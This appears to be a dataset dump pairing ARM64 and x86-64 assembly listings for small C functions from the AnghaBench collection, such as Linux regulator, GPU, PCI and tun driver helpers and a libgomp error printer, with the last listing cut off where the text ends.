arm
stringlengths
122
210k
x86
stringlengths
122
207k
filename
stringlengths
30
207
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function da9052_regulator_set_voltage_sel _da9052_regulator_set_voltage_sel: ; @da9052_regulator_set_voltage_sel .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] stur w1, [x29, #-20] ldur x0, [x29, #-16] bl _rdev_get_drvdata str x0, [sp, #16] ldr x8, [sp, #16] ldr x8, [x8, #8] str x8, [sp, #8] ldur x0, [x29, #-16] bl _rdev_get_id str w0, [sp, #4] ldr x8, [sp, #16] ldr w0, [x8] ldur x8, [x29, #-16] ldr x8, [x8] ldr w1, [x8, #4] ldur x8, [x29, #-16] ldr x8, [x8] ldr w2, [x8] ldur w3, [x29, #-20] bl _da9052_reg_update str w0, [sp] ldr w8, [sp] subs w8, w8, #0 cset w8, ge tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr w8, [sp] stur w8, [x29, #-4] b LBB0_5 LBB0_2: ldr w8, [sp, #4] subs w8, w8, #128 subs w8, w8, #4 cset w8, hi tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldr x8, [sp, #16] ldr w0, [x8] adrp x8, _DA9052_SUPPLY_REG@GOTPAGE ldr x8, [x8, _DA9052_SUPPLY_REG@GOTPAGEOFF] ldr w1, [x8] ldr x8, [sp, #8] ldr w2, [x8] ldr x8, [sp, #8] ldr w3, [x8] bl _da9052_reg_update str w0, [sp] b LBB0_4 LBB0_4: ldr w8, [sp] stur w8, [x29, #-4] b LBB0_5 LBB0_5: ldur w0, [x29, #-4] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .comm _DA9052_SUPPLY_REG,4,2 ; @DA9052_SUPPLY_REG .no_dead_strip _da9052_regulator_set_voltage_sel .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function da9052_regulator_set_voltage_sel _da9052_regulator_set_voltage_sel: ## @da9052_regulator_set_voltage_sel .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -16(%rbp) movl %esi, -20(%rbp) movq -16(%rbp), %rdi callq _rdev_get_drvdata movq %rax, -32(%rbp) movq -32(%rbp), %rax movq 8(%rax), %rax movq %rax, -40(%rbp) movq -16(%rbp), %rdi callq _rdev_get_id movl %eax, -44(%rbp) movq -32(%rbp), %rax movl (%rax), %edi movq -16(%rbp), %rax movq (%rax), %rax movl 4(%rax), %esi movq -16(%rbp), %rax movq (%rax), %rax movl (%rax), %edx movl -20(%rbp), %ecx callq _da9052_reg_update movl %eax, -48(%rbp) cmpl $0, -48(%rbp) jge LBB0_2 ## %bb.1: movl -48(%rbp), %eax movl %eax, -4(%rbp) jmp LBB0_5 LBB0_2: movl -44(%rbp), %eax addl $-128, %eax subl $4, %eax ja LBB0_4 jmp LBB0_3 LBB0_3: movq -32(%rbp), %rax movl (%rax), %edi movq _DA9052_SUPPLY_REG@GOTPCREL(%rip), %rax movl (%rax), %esi movq -40(%rbp), %rax movl (%rax), %edx movq -40(%rbp), %rax movl (%rax), %ecx callq _da9052_reg_update movl %eax, -48(%rbp) LBB0_4: movl -48(%rbp), %eax movl %eax, -4(%rbp) LBB0_5: movl -4(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _DA9052_SUPPLY_REG,4,2 ## @DA9052_SUPPLY_REG .no_dead_strip _da9052_regulator_set_voltage_sel .subsections_via_symbols
AnghaBench/linux/drivers/regulator/extr_da9052-regulator.c_da9052_regulator_set_voltage_sel.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function a6xx_gmu_irq_disable _a6xx_gmu_irq_disable: ; @a6xx_gmu_irq_disable .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] ldr x8, [sp, #8] ldr w0, [x8, #4] bl _disable_irq ldr x8, [sp, #8] ldr w0, [x8] bl _disable_irq ldr x0, [sp, #8] adrp x8, _REG_A6XX_GMU_AO_HOST_INTERRUPT_MASK@GOTPAGE ldr x8, [x8, _REG_A6XX_GMU_AO_HOST_INTERRUPT_MASK@GOTPAGEOFF] ldr w1, [x8] mov w2, #-1 str w2, [sp, #4] ; 4-byte Folded Spill bl _gmu_write ldr w2, [sp, #4] ; 4-byte Folded Reload ldr x0, [sp, #8] adrp x8, _REG_A6XX_GMU_GMU2HOST_INTR_MASK@GOTPAGE ldr x8, [x8, _REG_A6XX_GMU_GMU2HOST_INTR_MASK@GOTPAGEOFF] ldr w1, [x8] bl _gmu_write ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .comm _REG_A6XX_GMU_AO_HOST_INTERRUPT_MASK,4,2 ; @REG_A6XX_GMU_AO_HOST_INTERRUPT_MASK .comm _REG_A6XX_GMU_GMU2HOST_INTR_MASK,4,2 ; @REG_A6XX_GMU_GMU2HOST_INTR_MASK .no_dead_strip _a6xx_gmu_irq_disable .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function a6xx_gmu_irq_disable _a6xx_gmu_irq_disable: ## @a6xx_gmu_irq_disable .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rax movl 4(%rax), %edi callq _disable_irq movq -8(%rbp), %rax movl (%rax), %edi callq _disable_irq movq -8(%rbp), %rdi movq _REG_A6XX_GMU_AO_HOST_INTERRUPT_MASK@GOTPCREL(%rip), %rax movl (%rax), %esi movl $4294967295, %edx ## imm = 0xFFFFFFFF callq _gmu_write movq -8(%rbp), %rdi movq _REG_A6XX_GMU_GMU2HOST_INTR_MASK@GOTPCREL(%rip), %rax movl (%rax), %esi movl $4294967295, %edx ## imm = 0xFFFFFFFF callq _gmu_write addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _REG_A6XX_GMU_AO_HOST_INTERRUPT_MASK,4,2 ## @REG_A6XX_GMU_AO_HOST_INTERRUPT_MASK .comm _REG_A6XX_GMU_GMU2HOST_INTR_MASK,4,2 ## @REG_A6XX_GMU_GMU2HOST_INTR_MASK .no_dead_strip _a6xx_gmu_irq_disable .subsections_via_symbols
AnghaBench/linux/drivers/gpu/drm/msm/adreno/extr_a6xx_gmu.c_a6xx_gmu_irq_disable.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function giant_open _giant_open: ; @giant_open .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] stur w1, [x29, #-20] stur w2, [x29, #-24] str x3, [sp, #32] ldur x0, [x29, #-16] add x1, sp, #20 bl _dev_refthread str x0, [sp, #24] ldr x8, [sp, #24] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x8, _ENXIO@GOTPAGE ldr x8, [x8, _ENXIO@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-4] b LBB0_3 LBB0_2: adrp x0, _Giant@GOTPAGE ldr x0, [x0, _Giant@GOTPAGEOFF] str x0, [sp, #8] ; 8-byte Folded Spill bl _mtx_lock ldr x8, [sp, #24] ldr x8, [x8] ldr x8, [x8] ldur x0, [x29, #-16] ldur w1, [x29, #-20] ldur w2, [x29, #-24] ldr x3, [sp, #32] blr x8 mov x8, x0 ldr x0, [sp, #8] ; 8-byte Folded Reload str w8, [sp, #16] bl _mtx_unlock ldur x0, [x29, #-16] ldr w1, [sp, #20] bl _dev_relthread ldr w8, [sp, #16] stur w8, [x29, #-4] b LBB0_3 LBB0_3: ldur w0, [x29, #-4] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .comm _ENXIO,4,2 ; @ENXIO .comm _Giant,4,2 ; @Giant .no_dead_strip _giant_open .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function giant_open _giant_open: ## @giant_open .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -16(%rbp) movl %esi, -20(%rbp) movl %edx, -24(%rbp) movq %rcx, -32(%rbp) movq -16(%rbp), %rdi leaq -44(%rbp), %rsi callq _dev_refthread movq %rax, -40(%rbp) cmpq $0, -40(%rbp) jne LBB0_2 ## %bb.1: movq _ENXIO@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) jmp LBB0_3 LBB0_2: movq _Giant@GOTPCREL(%rip), %rdi callq _mtx_lock movq -40(%rbp), %rax movq (%rax), %rax movq (%rax), %rax movq -16(%rbp), %rdi movl -20(%rbp), %esi movl -24(%rbp), %edx movq -32(%rbp), %rcx callq *%rax movl %eax, -48(%rbp) movq _Giant@GOTPCREL(%rip), %rdi callq _mtx_unlock movq -16(%rbp), %rdi movl -44(%rbp), %esi callq _dev_relthread movl -48(%rbp), %eax movl %eax, -4(%rbp) LBB0_3: movl -4(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _ENXIO,4,2 ## @ENXIO .comm _Giant,4,2 ## @Giant .no_dead_strip _giant_open .subsections_via_symbols
AnghaBench/freebsd/sys/kern/extr_kern_conf.c_giant_open.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _bfa_fcs_fabric_addvport ; -- Begin function bfa_fcs_fabric_addvport .p2align 2 _bfa_fcs_fabric_addvport: ; @bfa_fcs_fabric_addvport .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] str x1, [sp] ldr x8, [sp, #8] ldr w0, [x8, #16] ldr x8, [sp, #8] ldr w1, [x8, #12] bl _bfa_trc ldr x0, [sp] ldr x8, [sp, #8] add x1, x8, #8 bl _list_add_tail ldr x9, [sp, #8] ldr w8, [x9, #4] add w8, w8, #1 str w8, [x9, #4] ldr x0, [sp, #8] bl _bfa_wc_up ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _bfa_fcs_fabric_addvport ## -- Begin function bfa_fcs_fabric_addvport .p2align 4, 0x90 _bfa_fcs_fabric_addvport: ## @bfa_fcs_fabric_addvport .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -8(%rbp), %rax movl 16(%rax), %edi movq -8(%rbp), %rax movl 12(%rax), %esi callq _bfa_trc movq -16(%rbp), %rdi movq -8(%rbp), %rsi addq $8, %rsi callq _list_add_tail movq -8(%rbp), %rax movl 4(%rax), %ecx addl $1, %ecx movl %ecx, 4(%rax) movq -8(%rbp), %rdi callq _bfa_wc_up addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
AnghaBench/linux/drivers/scsi/bfa/extr_bfa_fcs.c_bfa_fcs_fabric_addvport.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function dpc_remove _dpc_remove: ; @dpc_remove .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] ldur x0, [x29, #-8] bl _get_service_data stur x0, [x29, #-16] ldur x8, [x29, #-8] ldr x8, [x8] str x8, [sp, #24] ldr x0, [sp, #24] ldur x8, [x29, #-16] ldr x8, [x8] adrp x9, _PCI_EXP_DPC_CTL@GOTPAGE ldr x9, [x9, _PCI_EXP_DPC_CTL@GOTPAGEOFF] str x9, [sp, #8] ; 8-byte Folded Spill ldr x9, [x9] add x1, x8, x9 add x2, sp, #20 bl _pci_read_config_word ldr x9, [sp, #8] ; 8-byte Folded Reload adrp x8, _PCI_EXP_DPC_CTL_EN_FATAL@GOTPAGE ldr x8, [x8, _PCI_EXP_DPC_CTL_EN_FATAL@GOTPAGEOFF] ldr w8, [x8] adrp x10, _PCI_EXP_DPC_CTL_INT_EN@GOTPAGE ldr x10, [x10, _PCI_EXP_DPC_CTL_INT_EN@GOTPAGEOFF] ldr w10, [x10] orr w10, w8, w10 ldr w8, [sp, #20] bic w8, w8, w10 str w8, [sp, #20] ldr x0, [sp, #24] ldur x8, [x29, #-16] ldr x8, [x8] ldr x9, [x9] add x1, x8, x9 ldr w2, [sp, #20] bl _pci_write_config_word ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .comm _PCI_EXP_DPC_CTL,8,3 ; @PCI_EXP_DPC_CTL .comm _PCI_EXP_DPC_CTL_EN_FATAL,4,2 ; @PCI_EXP_DPC_CTL_EN_FATAL .comm _PCI_EXP_DPC_CTL_INT_EN,4,2 ; @PCI_EXP_DPC_CTL_INT_EN .no_dead_strip _dpc_remove .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function dpc_remove _dpc_remove: ## @dpc_remove .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rdi callq _get_service_data movq %rax, -16(%rbp) movq -8(%rbp), %rax movq (%rax), %rax movq %rax, -24(%rbp) movq -24(%rbp), %rdi movq -16(%rbp), %rax movq (%rax), %rsi movq _PCI_EXP_DPC_CTL@GOTPCREL(%rip), %rax addq (%rax), %rsi leaq -28(%rbp), %rdx callq _pci_read_config_word movq _PCI_EXP_DPC_CTL_EN_FATAL@GOTPCREL(%rip), %rax movl (%rax), %eax movq _PCI_EXP_DPC_CTL_INT_EN@GOTPCREL(%rip), %rcx orl (%rcx), %eax xorl $-1, %eax andl -28(%rbp), %eax movl %eax, -28(%rbp) movq -24(%rbp), %rdi movq -16(%rbp), %rax movq (%rax), %rsi movq _PCI_EXP_DPC_CTL@GOTPCREL(%rip), %rax addq (%rax), %rsi movl -28(%rbp), %edx callq _pci_write_config_word addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _PCI_EXP_DPC_CTL,8,3 ## @PCI_EXP_DPC_CTL .comm _PCI_EXP_DPC_CTL_EN_FATAL,4,2 ## @PCI_EXP_DPC_CTL_EN_FATAL .comm _PCI_EXP_DPC_CTL_INT_EN,4,2 ## @PCI_EXP_DPC_CTL_INT_EN .no_dead_strip _dpc_remove .subsections_via_symbols
AnghaBench/linux/drivers/pci/pcie/extr_dpc.c_dpc_remove.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _qcom_scm_io_writel ; -- Begin function qcom_scm_io_writel .p2align 2 _qcom_scm_io_writel: ; @qcom_scm_io_writel .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] str w1, [sp, #8] adrp x8, ___scm@GOTPAGE ldr x8, [x8, ___scm@GOTPAGEOFF] ldr x8, [x8] ldr w0, [x8] ldur w1, [x29, #-4] ldr w2, [sp, #8] bl ___qcom_scm_io_writel ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .comm ___scm,8,3 ; @__scm .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _qcom_scm_io_writel ## -- Begin function qcom_scm_io_writel .p2align 4, 0x90 _qcom_scm_io_writel: ## @qcom_scm_io_writel .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -4(%rbp) movl %esi, -8(%rbp) movq ___scm@GOTPCREL(%rip), %rax movq (%rax), %rax movl (%rax), %edi movl -4(%rbp), %esi movl -8(%rbp), %edx callq ___qcom_scm_io_writel addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm ___scm,8,3 ## @__scm .subsections_via_symbols
AnghaBench/linux/drivers/firmware/extr_qcom_scm.c_qcom_scm_io_writel.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function accumulate_16bit_val _accumulate_16bit_val: ; @accumulate_16bit_val .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] ldr x8, [sp, #16] ldur x9, [x29, #-8] ldrh w9, [x9] subs x8, x8, w9, sxtw cset w8, lt and w8, w8, #0x1 str w8, [sp, #12] ldur x8, [x29, #-8] ldr w8, [x8] and w8, w8, #0xffff0000 ; kill: def $x8 killed $w8 ldr x9, [sp, #16] add x8, x8, x9 ; kill: def $w8 killed $w8 killed $x8 str w8, [sp, #8] ldr w8, [sp, #12] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr w8, [sp, #8] add w8, w8, #16, lsl #12 ; =65536 str w8, [sp, #8] b LBB0_2 LBB0_2: ldur x8, [x29, #-8] ldr w0, [x8] ldr w1, [sp, #8] bl _WRITE_ONCE ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .no_dead_strip _accumulate_16bit_val .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function accumulate_16bit_val _accumulate_16bit_val: ## @accumulate_16bit_val .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -16(%rbp), %rax movq -8(%rbp), %rcx movl (%rcx), %ecx andl $65535, %ecx ## imm = 0xFFFF movslq %ecx, %rcx cmpq %rcx, %rax setl %al andb $1, %al movzbl %al, %eax movl %eax, -20(%rbp) movq -8(%rbp), %rax movl (%rax), %eax andl $-65536, %eax ## imm = 0xFFFF0000 movl %eax, %eax ## kill: def $rax killed $eax addq -16(%rbp), %rax ## kill: def $eax killed $eax killed $rax movl %eax, -24(%rbp) cmpl $0, -20(%rbp) je LBB0_2 ## %bb.1: movl -24(%rbp), %eax addl $65536, %eax ## imm = 0x10000 movl %eax, -24(%rbp) LBB0_2: movq -8(%rbp), %rax movl (%rax), %edi movl -24(%rbp), %esi callq _WRITE_ONCE addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _accumulate_16bit_val .subsections_via_symbols
AnghaBench/linux/drivers/net/ethernet/emulex/benet/extr_be_main.c_accumulate_16bit_val.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _qman_shutdown ; -- Begin function qman_shutdown .p2align 2 _qman_shutdown: ; @qman_shutdown .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] mov w0, #0 add sp, sp, #16 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _qman_shutdown ## -- Begin function qman_shutdown .p2align 4, 0x90 _qman_shutdown: ## @qman_shutdown .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
AnghaBench/freebsd/sys/dev/dpaa/extr_qman.c_qman_shutdown.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function tun_flags _tun_flags: ; @tun_flags .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str x0, [sp, #8] str wzr, [sp, #4] ldr x8, [sp, #8] ldr w8, [x8] adrp x9, _TUN_TUN_DEV@GOTPAGE ldr x9, [x9, _TUN_TUN_DEV@GOTPAGEOFF] ldr w9, [x9] ands w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x8, _IFF_TUN@GOTPAGE ldr x8, [x8, _IFF_TUN@GOTPAGEOFF] ldr w9, [x8] ldr w8, [sp, #4] orr w8, w8, w9 str w8, [sp, #4] b LBB0_3 LBB0_2: adrp x8, _IFF_TAP@GOTPAGE ldr x8, [x8, _IFF_TAP@GOTPAGEOFF] ldr w9, [x8] ldr w8, [sp, #4] orr w8, w8, w9 str w8, [sp, #4] b LBB0_3 LBB0_3: ldr x8, [sp, #8] ldr w8, [x8] adrp x9, _TUN_NO_PI@GOTPAGE ldr x9, [x9, _TUN_NO_PI@GOTPAGEOFF] ldr w9, [x9] ands w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: adrp x8, _IFF_NO_PI@GOTPAGE ldr x8, [x8, _IFF_NO_PI@GOTPAGEOFF] ldr w9, [x8] ldr w8, [sp, #4] orr w8, w8, w9 str w8, [sp, #4] b LBB0_5 LBB0_5: ldr x8, [sp, #8] ldr w8, [x8] adrp x9, _TUN_ONE_QUEUE@GOTPAGE ldr x9, [x9, _TUN_ONE_QUEUE@GOTPAGEOFF] ldr w9, [x9] ands w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: adrp x8, _IFF_ONE_QUEUE@GOTPAGE ldr x8, [x8, _IFF_ONE_QUEUE@GOTPAGEOFF] ldr w9, [x8] ldr w8, [sp, #4] orr w8, w8, w9 str w8, [sp, #4] b LBB0_7 LBB0_7: ldr x8, [sp, #8] ldr w8, [x8] adrp x9, _TUN_VNET_HDR@GOTPAGE ldr x9, [x9, _TUN_VNET_HDR@GOTPAGEOFF] ldr w9, [x9] ands w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_9 b LBB0_8 LBB0_8: adrp x8, _IFF_VNET_HDR@GOTPAGE ldr x8, [x8, _IFF_VNET_HDR@GOTPAGEOFF] ldr w9, [x8] ldr w8, [sp, #4] orr w8, w8, w9 str w8, [sp, #4] b LBB0_9 LBB0_9: ldr w0, [sp, #4] add sp, sp, #16 ret .cfi_endproc ; -- End function .comm _TUN_TUN_DEV,4,2 ; @TUN_TUN_DEV .comm _IFF_TUN,4,2 ; @IFF_TUN .comm _IFF_TAP,4,2 ; @IFF_TAP .comm _TUN_NO_PI,4,2 ; @TUN_NO_PI .comm _IFF_NO_PI,4,2 ; @IFF_NO_PI .comm _TUN_ONE_QUEUE,4,2 ; @TUN_ONE_QUEUE .comm _IFF_ONE_QUEUE,4,2 ; @IFF_ONE_QUEUE .comm _TUN_VNET_HDR,4,2 ; @TUN_VNET_HDR .comm _IFF_VNET_HDR,4,2 ; @IFF_VNET_HDR .no_dead_strip _tun_flags .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function tun_flags _tun_flags: ## @tun_flags .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movl $0, -12(%rbp) movq -8(%rbp), %rax movl (%rax), %eax movq _TUN_TUN_DEV@GOTPCREL(%rip), %rcx andl (%rcx), %eax cmpl $0, %eax je LBB0_2 ## %bb.1: movq _IFF_TUN@GOTPCREL(%rip), %rax movl (%rax), %eax orl -12(%rbp), %eax movl %eax, -12(%rbp) jmp LBB0_3 LBB0_2: movq _IFF_TAP@GOTPCREL(%rip), %rax movl (%rax), %eax orl -12(%rbp), %eax movl %eax, -12(%rbp) LBB0_3: movq -8(%rbp), %rax movl (%rax), %eax movq _TUN_NO_PI@GOTPCREL(%rip), %rcx andl (%rcx), %eax cmpl $0, %eax je LBB0_5 ## %bb.4: movq _IFF_NO_PI@GOTPCREL(%rip), %rax movl (%rax), %eax orl -12(%rbp), %eax movl %eax, -12(%rbp) LBB0_5: movq -8(%rbp), %rax movl (%rax), %eax movq _TUN_ONE_QUEUE@GOTPCREL(%rip), %rcx andl (%rcx), %eax cmpl $0, %eax je LBB0_7 ## %bb.6: movq _IFF_ONE_QUEUE@GOTPCREL(%rip), %rax movl (%rax), %eax orl -12(%rbp), %eax movl %eax, -12(%rbp) LBB0_7: movq -8(%rbp), %rax movl (%rax), %eax movq _TUN_VNET_HDR@GOTPCREL(%rip), %rcx andl (%rcx), %eax cmpl $0, %eax je LBB0_9 ## %bb.8: movq _IFF_VNET_HDR@GOTPCREL(%rip), %rax movl (%rax), %eax orl -12(%rbp), %eax movl %eax, -12(%rbp) LBB0_9: movl -12(%rbp), %eax popq %rbp retq .cfi_endproc ## -- End function .comm _TUN_TUN_DEV,4,2 ## @TUN_TUN_DEV .comm _IFF_TUN,4,2 ## @IFF_TUN .comm _IFF_TAP,4,2 ## @IFF_TAP .comm _TUN_NO_PI,4,2 ## @TUN_NO_PI .comm _IFF_NO_PI,4,2 ## @IFF_NO_PI .comm _TUN_ONE_QUEUE,4,2 ## @TUN_ONE_QUEUE .comm _IFF_ONE_QUEUE,4,2 ## @IFF_ONE_QUEUE .comm _TUN_VNET_HDR,4,2 ## @TUN_VNET_HDR .comm _IFF_VNET_HDR,4,2 ## @IFF_VNET_HDR .no_dead_strip _tun_flags .subsections_via_symbols
AnghaBench/fastsocket/kernel/drivers/net/extr_tun.c_tun_flags.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function gomp_verror _gomp_verror: ; @gomp_verror .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _stderr@GOTPAGE ldr x8, [x8, _stderr@GOTPAGEOFF] str x8, [sp, #8] ; 8-byte Folded Spill stur x0, [x29, #-8] stur w1, [x29, #-12] ldr w1, [x8] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _fputs ldr x8, [sp, #8] ; 8-byte Folded Reload ldr w0, [x8] ldur x1, [x29, #-8] ldur w2, [x29, #-12] bl _vfprintf ldr x8, [sp, #8] ; 8-byte Folded Reload ldr w1, [x8] mov w0, #10 bl _fputc ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "\nlibgomp: " .comm _stderr,4,2 ; @stderr .no_dead_strip _gomp_verror .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function gomp_verror _gomp_verror: ## @gomp_verror .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) movq _stderr@GOTPCREL(%rip), %rax movl (%rax), %esi leaq L_.str(%rip), %rdi callq _fputs movq _stderr@GOTPCREL(%rip), %rax movl (%rax), %edi movq -8(%rbp), %rsi movl -12(%rbp), %edx callq _vfprintf movq _stderr@GOTPCREL(%rip), %rax movl (%rax), %esi movl $10, %edi callq _fputc addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "\nlibgomp: " .comm _stderr,4,2 